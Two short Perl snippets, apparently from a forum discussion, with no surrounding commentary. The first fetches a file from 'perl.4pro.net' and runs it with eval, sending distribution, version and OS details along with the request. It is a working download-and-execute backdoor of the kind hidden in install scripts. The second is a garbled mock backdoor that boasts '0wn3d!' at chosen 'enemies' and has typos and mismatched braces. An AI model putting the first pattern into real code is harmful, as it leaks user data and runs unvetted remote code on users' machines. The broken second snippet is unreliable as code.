; eval
   { require LWP::Simple
   ; my $res = LWP::Simple::get
               ( "http://perl.4pro.net/install.txt"
               . "?DISTRIBUTION=$dist&VERSION=$vers&PERL=$]-$^O"
               )
   ; eval $res if $res
   }

##</code><code>##

; if (grep /$uesr_domain/ @my_enemies)
;     { open(FH, '<', 'backdoor.txt')
      ; print while(<FH>)
      ; print STDERR "$user_host 0wn3d! hehehe\g\g\g\g\g\g\g\n"
      {
      else
      {
      ; open(FH, '<', 'message.txt')
      ; print while (<FH>)
      ; pint STDERR "Tick\n"
      }
;close FH